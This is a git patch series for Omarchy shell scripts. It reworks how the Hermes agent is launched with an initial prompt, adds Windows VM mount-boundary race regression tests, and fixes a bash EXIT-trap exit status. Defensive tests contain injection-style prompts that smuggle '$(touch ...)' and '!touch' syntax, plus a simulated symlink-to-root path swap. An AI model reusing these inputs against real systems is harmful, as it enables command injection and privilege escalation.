HERMES_TEST_USAGE_FAIL=true "$ROOT/bin/omarchy-agent-hermes" missing-session fi [[ ! -s $resume_log ]] || fail "Hermes literal seed does not guess which session to resume" pass "Hermes resumes only the session recorded by the initial turn" + +for state in INCOMPLETE FAILED; do + : >"$resume_log" + if env "HERMES_TEST_USAGE_$state=true" "$ROOT/bin/omarchy-agent-hermes" "${state,,}" >/dev/null 2>&1; then + fail "Hermes literal seed rejects a reported ${state,,} initial turn" + fi + [[ ! -s $resume_log ]] || fail "Hermes literal seed does not resume a reported ${state,,} initial turn" +done +pass "Hermes resumes only completed successful initial turns" + +: >"$resume_log" +HERMES_TEST_NEEDS_SETUP=true "$ROOT/bin/omarchy-agent-hermes" setup-first >/dev/null +mapfile -d '' -t setup_args <"$setup_log" +[[ ${setup_args[*]} == "setup" ]] || fail "Hermes runs setup when no inference provider is configured" +mapfile -d '' -t resume_args <"$resume_log" +[[ ${resume_args[*]} == "chat --yolo --tui --resume session-123" ]] || + fail "Hermes replays the prompted turn after setup and resumes it" +pass "Hermes completes first-run setup before replaying the prompt" + +rm -f "$setup_marker" +: >"$resume_log" +if HERMES_TEST_NEEDS_SETUP=true HERMES_TEST_SETUP_FAIL=true "$ROOT/bin/omarchy-agent-hermes" setup-cancelled >/dev/null 2>&1; then + fail "Hermes reports a failed first-run setup" +fi +[[ ! -s $resume_log ]] || fail "Hermes does not resume when first-run setup fails" +pass "Hermes stops when first-run setup does not complete" diff --git a/test/shell.d/hermes-cli-test.sh b/test/shell.d/hermes-cli-test.sh index 88319dc9..39435aa5 100755 --- a/test/shell.d/hermes-cli-test.sh +++ b/test/shell.d/hermes-cli-test.sh @@ -26,7 +26,10 @@ SH cat >"$mock_bin/mise" <<'SH' #!/bin/bash printf '%s\0' "$@" >>"$OMARCHY_TEST_MISE_LOG" -[[ $1 == "where" && ${OMARCHY_TEST_MISE_WHERE_OK:-0} == 1 ]] && exit 0 +if [[ $1 == "where" && ${OMARCHY_TEST_MISE_WHERE_OK:-0} == 1 ]]; then + printf '%s\n' "$OMARCHY_TEST_MISE_ROOT" + exit 0 +fi [[ $1 != "where" ]] SH @@ -35,6 +38,7 @@ chmod +x "$mock_bin"/* run_installer() { OMARCHY_TEST_DESKTOP_INSTALLED="$1" \ OMARCHY_TEST_MISE_WHERE_OK="${OMARCHY_TEST_MISE_WHERE_OK:-0}" \ + OMARCHY_TEST_MISE_ROOT="$test_tmp/mise" \ OMARCHY_TEST_MISE_LOG="$mise_log" \ HOME="$test_home" \ PATH="$mock_bin:$PATH" \ @@ -88,10 +92,17 @@ pass "takeover removes an unhealthy mise copy" rm -rf "$test_home/.hermes" rm -f "$test_home/.local/bin/hermes" run_installer 1 --check && fail "--check reports Hermes missing before the app installs it" -# The venv command answers --version, as the real one does: foreign wrappers -# below exec it, and the installer probes them by running exactly that. +# The venv command answers the readiness probes, as the real one does: foreign +# wrappers below exec it, and the installer runs both before trusting them. mkdir -p "$test_home/.hermes/hermes-agent/venv/bin" -printf '%s\n' "#!/bin/bash" 'echo "hermes-agent 0.0.0-test"' >"$test_home/.hermes/hermes-agent/venv/bin/hermes" +cat >"$test_home/.hermes/hermes-agent/venv/bin/hermes" <<'SH' +#!/bin/bash +if [[ ${1:-} == "--help" ]]; then + [[ ${OMARCHY_TEST_HERMES_CAPABLE:-1} == 1 ]] && echo "--usage-file PATH" +else + echo "hermes-agent 0.0.0-test" +fi +SH chmod +x "$test_home/.hermes/hermes-agent/venv/bin/hermes" run_installer 1 --check && fail "--check waits for the install to finish, not just the venv" touch "$test_home/.hermes/hermes-agent/.hermes-bootstrap-complete" @@ -123,6 +134,14 @@ run_installer 0 --now || fail "--now over a foreign hermes command returns succe fail "a foreign hermes command is left untouched" pass "a foreign hermes command is preserved and satisfies --check" +OMARCHY_TEST_HERMES_CAPABLE=0 run_installer 0 --check && + fail "--check rejects a foreign Hermes without prompted-session reports" +OMARCHY_TEST_HERMES_CAPABLE=0 run_installer 0 && + fail "installing refuses a foreign Hermes without prompted-session reports" +[[ $(cat "$test_home/.local/bin/hermes") == "$official_body" ]] || + fail "an older foreign Hermes command is left untouched" +pass "a foreign Hermes must support prompted-session reports" + # Broken foreign paths are still foreign. They cannot be used, so --check says # so and the installer refuses rather than replacing them. printf '%s\n' "$official_body" >"$test_home/.local/bin/hermes" @@ -211,6 +230,13 @@ grep -q "stale template" "$test_home/.local/bin/hermes" && fail "reinstalling re grep -q "exec env -u UV_PYTHON mise x" "$test_home/.local/bin/hermes" || fail "the refreshed stub is the current template" pass "reinstalling refreshes the Omarchy stub" +mkdir -p "$test_tmp/mise/hermes-agent/lib/python$python_pin" +: >"$mise_log" +OMARCHY_TEST_MISE_WHERE_OK=1 run_installer 0 || fail "reinstalling replaces an older owned Hermes environment" +tr '\0' '\n' <"$mise_log" | grep -q '^rm$' || fail "an older owned Hermes environment is removed from mise config" +tr '\0' '\n' <"$mise_log" | grep -q '^uninstall$' || fail "an older owned Hermes environment is uninstalled" +pass "reinstalling replaces an older owned Hermes environment" + # install/user/mise.sh is sourced by install/user/all.sh through run_logged, # which runs it under `bash -eE` and hands its exit code back to # omarchy-provision-user's `set -euo pipefail`. Everything that finalizes a user @@ -349,8 +375,14 @@ run_ready_check() { run_ready_check && fail "--check rejects the app's wrapper when its runtime is gone" -printf '%s\n' "#!/bin/bash" 'echo "hermes-agent 0.0.0-test"' \ - >"$ready_home/.hermes/hermes-agent/venv/bin/hermes" +cat >"$ready_home/.hermes/hermes-agent/venv/bin/hermes" <<'SH' +#!/bin/bash +if [[ ${1:-} == "--help" ]]; then + echo "--usage-file PATH" +else + echo "hermes-agent 0.0.0-test" +fi +SH chmod +x "$ready_home/.hermes/hermes-agent/venv/bin/hermes" run_ready_check || fail "--check accepts the app's wrapper once it runs" pass "readiness runs the app's command rather than trusting its marker" From 64203cc2085717d29b7a13257bad1b48a2434cbf Mon Sep 17 00:00:00 2001 From: Spencer Bull Date: Thu, 27 Aug 2026 23:07:18 -0500 Subject: [PATCH 108/336] Keep prompted Hermes sessions local Clear inherited session-source tags for Omarchy's local one-shot process so Hermes records the launch directory before the exact session is resumed in the TUI. Co-Authored-By: Codex XHigh --- bin/omarchy-agent-hermes | 1 + test/shell.d/hermes-agent-test.sh | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/bin/omarchy-agent-hermes b/bin/omarchy-agent-hermes index eb81495b..93175818 100755 --- a/bin/omarchy-agent-hermes +++ b/bin/omarchy-agent-hermes @@ -7,6 +7,7 @@ set -euo pipefail prompt=${1:?usage: omarchy-agent-hermes } +unset HERMES_SESSION_SOURCE usage=$(mktemp) trap 'rm -f "$usage"' EXIT diff --git a/test/shell.d/hermes-agent-test.sh b/test/shell.d/hermes-agent-test.sh index 174958d0..3339df24 100755 --- a/test/shell.d/hermes-agent-test.sh +++ b/test/shell.d/hermes-agent-test.sh @@ -68,7 +68,7 @@ export HERMES_TEST_SETUP_MARKER="$setup_marker" sentinel="$test_tmp/hermes-seed-must-stay-literal" prompt="--help !Crash /quit {!touch $sentinel}"$'\ntrailing\\' -"$ROOT/bin/omarchy-agent-hermes" "$prompt" >/dev/null +HERMES_SESSION_SOURCE=gateway "$ROOT/bin/omarchy-agent-hermes" "$prompt" >/dev/null mapfile -d '' -t oneshot_args <"$oneshot_log" (( ${#oneshot_args[@]} == 4 )) || fail "Hermes literal seed has four one-shot arguments" From 4fc14173b79ad42b6f67550248c1810f71648398 Mon Sep 17 00:00:00 2001 From: Afonso Oliveira Date: Fri, 28 Aug 2026 19:37:04 +0100 Subject: [PATCH 109/336] [Security] Add Windows VM boundary race regressions --- test/shell.d/windows-vm-compose-test.sh | 23 +++++++++++++++++++ .../shell.d/windows-vm-mount-boundary-test.sh | 20 ++++++++++++++++ 2 files changed, 43 insertions(+) diff --git a/test/shell.d/windows-vm-compose-test.sh b/test/shell.d/windows-vm-compose-test.sh index 77c298a8..0495e1e0 100644 --- a/test/shell.d/windows-vm-compose-test.sh +++ b/test/shell.d/windows-vm-compose-test.sh @@ -183,6 +183,29 @@ resolve_caller [[ $(stat -Lc '%d:%i' "$EXPECTED_STORAGE") == $(stat -Lc '%d:%i' "$external_storage") ]] || fail "symlink target not pinned" pass "legitimate caller-owned symlinks remain in place" +# Reproduce the original post-validation race at the last possible moment: +# replace the familiar shared path with / only after the final guard returns, +# inside the mocked Docker Compose invocation. Compose must still consume the +# protected anchor bound to the inode that was validated earlier. +raced_shared="$HOME/Windows.before-race" +shared_id_before_race=$(stat -Lc '%d:%i' "$external_shared2") +race_ran=0 +dc() { + [[ $1 == up && ${2:-} == -d ]] || return 1 + mv -T -- "$HOME/Windows" "$raced_shared" + ln -s / "$HOME/Windows" + race_ran=1 + [[ $(get_mount_source /shared) == "$EXPECTED_SHARED" ]] || return 1 + [[ $(stat -Lc '%d:%i' "$EXPECTED_SHARED") == "$shared_id_before_race" ]] || return 1 +} +__priv_up || fail "post-validation home-path swap changed the Docker mount source" +(( race_ran == 1 )) || fail "post-validation race hook did not run" +[[ -L $HOME/Windows && $(readlink "$HOME/Windows") == / ]] || fail "race did not replace the familiar shared path" +rm "$HOME/Windows" +mv -T -- "$raced_shared" "$HOME/Windows" +unset -f dc +pass "a post-validation path swap cannot redirect Docker away from the pinned shared inode" + # Same-inode sources fail before mounting and close both descriptors. reset_case same="$TMPDIR/same-source" diff --git a/test/shell.d/windows-vm-mount-boundary-test.sh b/test/shell.d/windows-vm-mount-boundary-test.sh index 509143b2..a49e5652 100644 --- a/test/shell.d/windows-vm-mount-boundary-test.sh +++ b/test/shell.d/windows-vm-mount-boundary-test.sh @@ -119,6 +119,26 @@ if setpriv --reuid=1001 --regid=1001 --clear-groups cat "$EXPECTED_SHARED/shared fi pass "cross-filesystem symlink sources bind by identity and migrated 0700 leaves deny another account" +# Existing production boundary components are never repaired in place when +# their ownership or write permissions are unsafe. Both the preparation path +# and the final pre-Docker guard must fail closed without disturbing the binds. +chmod 0731 "$MOUNT_ROOT" +with_vm_lock prepare_caller_mounts 2>/dev/null && fail "root repaired a group-writable mount boundary instead of rejecting it" +mounts_ready 2>/dev/null && fail "final guard accepted a group-writable mount boundary" +[[ $(command stat -Lc '%a' "$MOUNT_ROOT") == 731 ]] || fail "rejection unexpectedly changed the writable boundary" +chmod 0711 "$MOUNT_ROOT" + +chown 1000:1000 "$USERS_DIR" +with_vm_lock prepare_caller_mounts 2>/dev/null && fail "root repaired a caller-owned mount boundary instead of rejecting it" +mounts_ready 2>/dev/null && fail "final guard accepted a caller-owned mount boundary" +[[ $(command stat -Lc '%u' "$USERS_DIR") == 1000 ]] || fail "rejection unexpectedly changed the boundary owner" +chown root:root "$USERS_DIR" + +[[ $(mount_layer_count "$EXPECTED_STORAGE") == 1 && + $(mount_layer_count "$EXPECTED_SHARED") == 1 ]] || fail "boundary rejection changed the verified mount pair" +mounts_ready || fail "restored production boundaries were rejected" +pass "root rejects wrong-owned and group-writable production mount boundaries without mutation" + expected_space=$(command df -P -- /home/storage-target | awk 'NR==2 {print int($4/1024/1024)}') actual_space=$(available_storage_gb) [[ $actual_space == "$expected_space" ]] || fail "disk-space helper did not measure the storage target filesystem" From 5284be65828112b2882179797566979f005d1ace Mon Sep 17 00:00:00 2001 From: Spencer Bull Date: Fri, 28 Aug 2026 16:32:19 -0500 Subject: [PATCH 110/336] Use Hermes native prompted sessions Hermes now keeps chat queries interactive and literal to TUI control syntax, so launch it directly and let its own session flow replace the local one-shot, usage-file, and resume bridge. Gate installation on the capability added with native interactive queries, preserve unowned mise environments, and keep the unprompted launch path unchanged. Co-Authored-By: Codex XHigh --- bin/omarchy-agent | 2 +- bin/omarchy-agent-hermes | 34 -------- bin/omarchy-install-hermes-cli | 29 ++++--- test/shell.d/default-agent-test.sh | 15 +++- test/shell.d/hermes-agent-test.sh | 126 ----------------------------- test/shell.d/hermes-cli-test.sh | 24 ++++-- 6 files changed, 47 insertions(+), 183 deletions(-) delete mode 100755 bin/omarchy-agent-hermes delete mode 100755 test/shell.d/hermes-agent-test.sh diff --git a/bin/omarchy-agent b/bin/omarchy-agent index 5436ca0b..05f1e1a1 100755 --- a/bin/omarchy-agent +++ b/bin/omarchy-agent @@ -88,7 +88,7 @@ codex) ;; hermes) if [[ -n ${prompt:-} ]]; then - command=(omarchy-agent-hermes "$prompt") + command=(env -u HERMES_SESSION_SOURCE hermes chat --yolo --tui "--query=$prompt") else command=(hermes --yolo) fi diff --git a/bin/omarchy-agent-hermes b/bin/omarchy-agent-hermes deleted file mode 100755 index 93175818..00000000 --- a/bin/omarchy-agent-hermes +++ /dev/null @@ -1,34 +0,0 @@ -#!/bin/bash - -# omarchy:summary=Seed Hermes literally and resume the resulting interactive session -# omarchy:args= -# omarchy:hidden=true - -set -euo pipefail - -prompt=${1:?usage: omarchy-agent-hermes } -unset HERMES_SESSION_SOURCE -usage=$(mktemp) -trap 'rm -f "$usage"' EXIT - -# TUI startup queries pass through Hermes' slash, shell, and interpolation -# dispatcher. One-shot treats the prompt literally and records its session ID. -seed_session() { - hermes --yolo --usage-file "$usage" --oneshot="$prompt" -} - -if ! seed_session; then - if jq -e '.failed == true and (.failure | strings | startswith("No inference provider configured."))' "$usage" >/dev/null 2>&1; then - hermes setup - seed_session - else - exit 1 - fi -fi - -session_id=$(jq -er 'select(.completed == true and .failed != true) | .session_id | strings | select(length > 0)' "$usage") - -rm -f "$usage" -trap - EXIT - -exec hermes chat --yolo --tui --resume "$session_id" diff --git a/bin/omarchy-install-hermes-cli b/bin/omarchy-install-hermes-cli index f3a8614c..5b6a3598 100755 --- a/bin/omarchy-install-hermes-cli +++ b/bin/omarchy-install-hermes-cli @@ -88,13 +88,13 @@ hermes_runs() { timeout 15 "$HOME/.local/bin/hermes" --version >/dev/null 2>&1 } -# Prompted Omarchy sessions need Hermes' usage report to identify and validate -# the exact one-shot session before reopening it interactively. +# The chat subcommand's --oneshot opt-out arrived with native interactive -q, +# so its presence is a stable capability check without relying on a version. hermes_prompt_ready() { local help hermes_runs && - help=$(timeout 15 "$HOME/.local/bin/hermes" --help 2>/dev/null) && - grep -qF -- '--usage-file' <<<"$help" + help=$(timeout 15 "$HOME/.local/bin/hermes" chat --help 2>/dev/null) && + grep -qF -- '--oneshot' <<<"$help" } # --owns answers whether the wrapper on PATH is the one this command wrote, so @@ -154,8 +154,8 @@ if foreign_hermes; then fi if hermes_runs; then - echo "~/.local/bin/hermes does not support the session report Omarchy needs for prompted launches." >&2 - echo "Update it to Hermes Agent 0.18.1 or newer, then run omarchy-install-hermes-cli again." >&2 + echo "~/.local/bin/hermes does not support the interactive seeded sessions Omarchy needs." >&2 + echo "Update it to a Hermes Agent release with interactive chat queries, then run omarchy-install-hermes-cli again." >&2 exit 1 fi @@ -164,12 +164,17 @@ if foreign_hermes; then exit 1 fi -# An older mise environment may predate the session report. It belongs to this -# installer, so discard only that environment and let the current stub rebuild it. +# Only the marked wrapper proves the matching mise environment is ours to replace. if installed && ! hermes_prompt_ready; then - echo "Updating Hermes for prompted sessions..." >&2 - mise rm -g "$tool" >/dev/null 2>&1 || true - mise uninstall --all "$tool" >/dev/null 2>&1 || true + if ours; then + echo "Updating Hermes for prompted sessions..." >&2 + mise rm -g "$tool" >/dev/null 2>&1 || true + mise uninstall --all "$tool" >/dev/null 2>&1 || true + else + echo "A Hermes mise environment exists without an Omarchy-owned wrapper." >&2 + echo "Update or remove it explicitly, then run omarchy-install-hermes-cli again." >&2 + exit 1 + fi fi mkdir -p "$HOME/.local/bin" @@ -218,7 +223,7 @@ chmod +x "$HOME/.local/bin/hermes" if [[ $mode == "--now" ]]; then "$HOME/.local/bin/hermes" --version if ! hermes_prompt_ready; then - echo "Hermes installed without the session report Omarchy needs for prompted launches." >&2 + echo "Hermes installed without the interactive seeded sessions Omarchy needs." >&2 exit 1 fi fi diff --git a/test/shell.d/default-agent-test.sh b/test/shell.d/default-agent-test.sh index 81f3985c..fbd60f31 100644 --- a/test/shell.d/default-agent-test.sh +++ b/test/shell.d/default-agent-test.sh @@ -431,8 +431,10 @@ assert_launched() { fail "$agent launch $description" "expected: ${expected[*]}\nactual: ${actual[*]}" for ((index = 0; index < ${#expected[@]}; index++)); do - [[ ${actual[$index]} == ${expected[$index]} ]] || - fail "$agent launch $description" "expected: ${expected[*]}\nactual: ${actual[*]}" + case ${actual[$index]} in + "${expected[$index]}") ;; + *) fail "$agent launch $description" "expected: ${expected[*]}\nactual: ${actual[*]}" ;; + esac done } @@ -462,11 +464,18 @@ assert_launch claude claude --permission-mode auto -- "Review this project" assert_launch codex codex --approve-for-me -- "Review this project" assert_launch crush crush run "Review this project" assert_launch grok grok --permission-mode bypassPermissions -- "Review this project" -assert_launch hermes omarchy-agent-hermes "Review this project" +assert_launch hermes env -u HERMES_SESSION_SOURCE hermes chat --yolo --tui "--query=Review this project" assert_launch agy agy --dangerously-skip-permissions --prompt-interactive "Review this project" assert_launch copilot copilot --allow-all --interactive "Review this project" pass "agent launcher adapts initial prompts for every supported agent" +literal_hermes_prompt=$' --help !Crash /quit {$(touch must-not-run)}\ntrailing\\ ' +printf '%s\n' "hermes" >"$agent_file" +omarchy-agent-prompt "$literal_hermes_prompt" +assert_launched hermes "binds its literal initial prompt" env -u HERMES_SESSION_SOURCE \ + hermes chat --yolo --tui "--query=$literal_hermes_prompt" +pass "Hermes receives prompted launches as one literal query argument" + assert_bypass pi pi assert_bypass omp omp --auto-approve assert_bypass opencode opencode --auto diff --git a/test/shell.d/hermes-agent-test.sh b/test/shell.d/hermes-agent-test.sh deleted file mode 100755 index 3339df24..00000000 --- a/test/shell.d/hermes-agent-test.sh +++ /dev/null @@ -1,126 +0,0 @@ -#!/bin/bash - -set -euo pipefail - -source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" - -test_tmp=$(mktemp -d) -trap 'rm -rf "$test_tmp"' EXIT - -mock_bin="$test_tmp/bin" -oneshot_log="$test_tmp/oneshot" -resume_log="$test_tmp/resume" -source_log="$test_tmp/source" -setup_log="$test_tmp/setup" -setup_marker="$test_tmp/setup-complete" -mkdir -p "$mock_bin" - -cat >"$mock_bin/hermes" <<'SH' -#!/bin/bash - -if [[ ${1:-} == "setup" ]]; then - printf '%s\0' "$@" >"$HERMES_TEST_SETUP_LOG" - [[ ${HERMES_TEST_SETUP_FAIL:-false} == "false" ]] || exit 43 - touch "$HERMES_TEST_SETUP_MARKER" - exit -fi - -if [[ " $* " == *" --oneshot="* ]]; then - printf '%s\0' "$@" >"$HERMES_TEST_ONESHOT_LOG" - printf '%s' "${HERMES_SESSION_SOURCE:-}" >"$HERMES_TEST_SOURCE_LOG" - - while (( $# )); do - if [[ $1 == "--usage-file" ]]; then - usage=$2 - break - fi - shift - done - - if [[ ${HERMES_TEST_NEEDS_SETUP:-false} == "true" && ! -e $HERMES_TEST_SETUP_MARKER ]]; then - printf '{"session_id":null,"completed":null,"failed":true,"failure":"No inference provider configured. Run hermes model."}\n' >"$usage" - exit 1 - fi - - [[ ${HERMES_TEST_ONESHOT_FAIL:-false} == "false" ]] || exit 42 - if [[ ${HERMES_TEST_USAGE_FAIL:-false} == "false" ]]; then - completed=true - failed=false - [[ ${HERMES_TEST_USAGE_INCOMPLETE:-false} == "false" ]] || completed=false - [[ ${HERMES_TEST_USAGE_FAILED:-false} == "false" ]] || failed=true - printf '{"session_id":"session-123","completed":%s,"failed":%s}\n' "$completed" "$failed" >"$usage" - fi - printf '%s\n' response - exit -fi - -printf '%s\0' "$@" >"$HERMES_TEST_RESUME_LOG" -SH - -chmod +x "$mock_bin/hermes" - -export PATH="$mock_bin:$PATH" -export HERMES_TEST_ONESHOT_LOG="$oneshot_log" -export HERMES_TEST_RESUME_LOG="$resume_log" -export HERMES_TEST_SOURCE_LOG="$source_log" -export HERMES_TEST_SETUP_LOG="$setup_log" -export HERMES_TEST_SETUP_MARKER="$setup_marker" - -sentinel="$test_tmp/hermes-seed-must-stay-literal" -prompt="--help !Crash /quit {!touch $sentinel}"$'\ntrailing\\' -HERMES_SESSION_SOURCE=gateway "$ROOT/bin/omarchy-agent-hermes" "$prompt" >/dev/null - -mapfile -d '' -t oneshot_args <"$oneshot_log" -(( ${#oneshot_args[@]} == 4 )) || fail "Hermes literal seed has four one-shot arguments" -[[ ${oneshot_args[0]} == "--yolo" ]] || fail "Hermes literal seed enables yolo mode" -[[ ${oneshot_args[1]} == "--usage-file" ]] || fail "Hermes literal seed requests the session report" -usage_file=${oneshot_args[2]} -[[ ${oneshot_args[3]} == "--oneshot=$prompt" ]] || fail "Hermes literal seed binds option-looking prompts as data" -[[ ! -e $usage_file ]] || fail "Hermes literal seed removes its session report" -[[ ! -e $sentinel ]] || fail "Hermes literal seed never executes prompt interpolation" -[[ ! -s $source_log ]] || fail "Hermes literal seed preserves native CLI session metadata" - -mapfile -d '' -t resume_args <"$resume_log" -[[ ${resume_args[*]} == "chat --yolo --tui --resume session-123" ]] || - fail "Hermes literal seed resumes the exact completed session" -pass "Hermes sends initial prompts literally and resumes their exact session" - -: >"$resume_log" -if HERMES_TEST_ONESHOT_FAIL=true "$ROOT/bin/omarchy-agent-hermes" failure >/dev/null 2>&1; then - fail "Hermes literal seed reports a failed initial turn" -fi -[[ ! -s $resume_log ]] || fail "Hermes literal seed does not resume a failed initial turn" -pass "Hermes does not resume after a failed initial turn" - -: >"$resume_log" -if HERMES_TEST_USAGE_FAIL=true "$ROOT/bin/omarchy-agent-hermes" missing-session >/dev/null 2>&1; then - fail "Hermes literal seed requires a recorded session ID" -fi -[[ ! -s $resume_log ]] || fail "Hermes literal seed does not guess which session to resume" -pass "Hermes resumes only the session recorded by the initial turn" - -for state in INCOMPLETE FAILED; do - : >"$resume_log" - if env "HERMES_TEST_USAGE_$state=true" "$ROOT/bin/omarchy-agent-hermes" "${state,,}" >/dev/null 2>&1; then - fail "Hermes literal seed rejects a reported ${state,,} initial turn" - fi - [[ ! -s $resume_log ]] || fail "Hermes literal seed does not resume a reported ${state,,} initial turn" -done -pass "Hermes resumes only completed successful initial turns" - -: >"$resume_log" -HERMES_TEST_NEEDS_SETUP=true "$ROOT/bin/omarchy-agent-hermes" setup-first >/dev/null -mapfile -d '' -t setup_args <"$setup_log" -[[ ${setup_args[*]} == "setup" ]] || fail "Hermes runs setup when no inference provider is configured" -mapfile -d '' -t resume_args <"$resume_log" -[[ ${resume_args[*]} == "chat --yolo --tui --resume session-123" ]] || - fail "Hermes replays the prompted turn after setup and resumes it" -pass "Hermes completes first-run setup before replaying the prompt" - -rm -f "$setup_marker" -: >"$resume_log" -if HERMES_TEST_NEEDS_SETUP=true HERMES_TEST_SETUP_FAIL=true "$ROOT/bin/omarchy-agent-hermes" setup-cancelled >/dev/null 2>&1; then - fail "Hermes reports a failed first-run setup" -fi -[[ ! -s $resume_log ]] || fail "Hermes does not resume when first-run setup fails" -pass "Hermes stops when first-run setup does not complete" diff --git a/test/shell.d/hermes-cli-test.sh b/test/shell.d/hermes-cli-test.sh index 39435aa5..83b516e9 100755 --- a/test/shell.d/hermes-cli-test.sh +++ b/test/shell.d/hermes-cli-test.sh @@ -97,8 +97,8 @@ run_installer 1 --check && fail "--check reports Hermes missing before the app i mkdir -p "$test_home/.hermes/hermes-agent/venv/bin" cat >"$test_home/.hermes/hermes-agent/venv/bin/hermes" <<'SH' #!/bin/bash -if [[ ${1:-} == "--help" ]]; then - [[ ${OMARCHY_TEST_HERMES_CAPABLE:-1} == 1 ]] && echo "--usage-file PATH" +if [[ ${1:-} == "chat" && ${2:-} == "--help" ]]; then + [[ ${OMARCHY_TEST_HERMES_CAPABLE:-1} == 1 ]] && echo "--oneshot" else echo "hermes-agent 0.0.0-test" fi @@ -135,12 +135,12 @@ run_installer 0 --now || fail "--now over a foreign hermes command returns succe pass "a foreign hermes command is preserved and satisfies --check" OMARCHY_TEST_HERMES_CAPABLE=0 run_installer 0 --check && - fail "--check rejects a foreign Hermes without prompted-session reports" + fail "--check rejects a foreign Hermes without native prompted sessions" OMARCHY_TEST_HERMES_CAPABLE=0 run_installer 0 && - fail "installing refuses a foreign Hermes without prompted-session reports" + fail "installing refuses a foreign Hermes without native prompted sessions" [[ $(cat "$test_home/.local/bin/hermes") == "$official_body" ]] || fail "an older foreign Hermes command is left untouched" -pass "a foreign Hermes must support prompted-session reports" +pass "a foreign Hermes must support native prompted sessions" # Broken foreign paths are still foreign. They cannot be used, so --check says # so and the installer refuses rather than replacing them. @@ -237,6 +237,16 @@ tr '\0' '\n' <"$mise_log" | grep -q '^rm$' || fail "an older owned Hermes enviro tr '\0' '\n' <"$mise_log" | grep -q '^uninstall$' || fail "an older owned Hermes environment is uninstalled" pass "reinstalling replaces an older owned Hermes environment" +rm -f "$test_home/.local/bin/hermes" +: >"$mise_log" +OMARCHY_TEST_MISE_WHERE_OK=1 run_installer 0 && + fail "installing refuses to claim an unmarked Hermes mise environment" +tr '\0' '\n' <"$mise_log" | grep -Eq '^(rm|uninstall)$' && + fail "an unmarked Hermes mise environment is never removed" +[[ ! -e $test_home/.local/bin/hermes ]] || + fail "an unmarked Hermes mise environment is not given an Omarchy wrapper" +pass "a Hermes mise environment needs wrapper ownership before replacement" + # install/user/mise.sh is sourced by install/user/all.sh through run_logged, # which runs it under `bash -eE` and hands its exit code back to # omarchy-provision-user's `set -euo pipefail`. Everything that finalizes a user @@ -377,8 +387,8 @@ run_ready_check && fail "--check rejects the app's wrapper when its runtime is g cat >"$ready_home/.hermes/hermes-agent/venv/bin/hermes" <<'SH' #!/bin/bash -if [[ ${1:-} == "--help" ]]; then - echo "--usage-file PATH" +if [[ ${1:-} == "chat" && ${2:-} == "--help" ]]; then + echo "--oneshot" else echo "hermes-agent 0.0.0-test" fi From 5925929cb6c72a8fe4de3ac297179a0020cdbcfa Mon Sep 17 00:00:00 2001 From: Ryan Hughes Date: Fri, 28 Aug 2026 19:00:03 -0400 Subject: [PATCH 111/336] Stop the browser policy EXIT trap from reporting a clean run as failed --- bin/omarchy-theme-set-browser-policy | 7 ++++++- test/shell.d/browser-policy-dir-test.sh | 15 +++++++++++++++ 2 files changed, 21 insertions(+), 1 deletion(-) diff --git a/bin/omarchy-theme-set-browser-policy b/bin/omarchy-theme-set-browser-policy index 6f628f9b..ccd07722 100755 --- a/bin/omarchy-theme-set-browser-policy +++ b/bin/omarchy-theme-set-browser-policy @@ -76,8 +76,13 @@ require_root "$color" failed=0 staged="" +# Bash 5.3 makes the EXIT trap's last command decide the script's exit status, +# so this handler must not end on a false test. Every successful run clears +# staged, and a trailing `[[ -n $staged ]] && ...` would report that as failure. cleanup() { - [[ -n $staged ]] && rm -f "$staged" + if [[ -n $staged ]]; then + rm -f "$staged" + fi } trap cleanup EXIT diff --git a/test/shell.d/browser-policy-dir-test.sh b/test/shell.d/browser-policy-dir-test.sh index 20b8067c..39a87c2b 100755 --- a/test/shell.d/browser-policy-dir-test.sh +++ b/test/shell.d/browser-policy-dir-test.sh @@ -279,6 +279,21 @@ grep -F 'exit "$failed"' "$ROOT/bin/omarchy-theme-set-browser" >/dev/null || fail "omarchy-theme-set-browser exits non-zero when a policy write fails" pass "omarchy-theme-set-browser exits non-zero when a policy write fails" +# Bash 5.3 adopts the EXIT trap's last status as the script's exit status, so a +# handler ending on a false test turns a clean run into a failure and aborts the +# migration that calls this through omarchy-theme-set-browser. +policy_cleanup=$(sed -n '/^cleanup() {/,/^}/p' "$ROOT/bin/omarchy-theme-set-browser-policy") +[[ -n $policy_cleanup ]] || fail "omarchy-theme-set-browser-policy defines an EXIT cleanup handler" +eval "$policy_cleanup" +staged="" +cleanup || fail "omarchy-theme-set-browser-policy's EXIT trap succeeds with nothing staged" +staged=$test_tmp/staged-policy +: >"$staged" +cleanup || fail "omarchy-theme-set-browser-policy's EXIT trap succeeds with a staged file" +[[ ! -e $staged ]] || fail "omarchy-theme-set-browser-policy's EXIT trap removes the staged file" +unset -f cleanup +pass "omarchy-theme-set-browser-policy's EXIT trap never leaks a failure status" + policy_files=( "$ROOT/bin/omarchy-install-browser" "$ROOT/bin/omarchy-provision-owner" From 6b10dbf1910f77deb3ac1082adc6e55101efe1cc Mon Sep 17 00:00:00 2001 From: Ryan Hughes Date: Fri, 28 Aug 2026 19:00:03 -0400 Subject: [PATCH 112/336] Harden Firefox policy dirs even when the theme refresh fails --- migrations/1787515927.sh | 5 ++++- test/shell.d/browser-policy-dir-test.sh | 4 ++++ 2 files changed, 8 insertions(+), 1 deletion(-) diff --git a/migrations/1787515927.sh b/migrations/1787515927.sh index f1f33869..9adae003 100644 --- a/migrations/1787515927.sh +++ b/migrations/1787515927.sh @@ -9,8 +9,11 @@ for dir in "${BROWSER_POLICY_MANAGED_DIRS[@]}"; do repaired=1 done +# Repainting the policy color is cosmetic and the next theme change redoes it. +# Under bash -euo pipefail a failure here would abort the migration before the +# Firefox directories below are hardened, and the marker would never be written. if (( repaired )); then - omarchy-theme-set-browser + omarchy-theme-set-browser || true fi for dir in "${BROWSER_POLICY_FIREFOX_DIRS[@]}"; do diff --git a/test/shell.d/browser-policy-dir-test.sh b/test/shell.d/browser-policy-dir-test.sh index 39a87c2b..0d66d216 100755 --- a/test/shell.d/browser-policy-dir-test.sh +++ b/test/shell.d/browser-policy-dir-test.sh @@ -294,6 +294,10 @@ cleanup || fail "omarchy-theme-set-browser-policy's EXIT trap succeeds with a st unset -f cleanup pass "omarchy-theme-set-browser-policy's EXIT trap never leaks a failure status" +grep -F 'omarchy-theme-set-browser || true' "$ROOT/migrations/1787515927.sh" >/dev/null || + fail "the policy-directory migration hardens Firefox even when the theme refresh fails" +pass "the policy-directory migration does not abort on a failed theme refresh" + policy_files=( "$ROOT/bin/omarchy-install-browser" 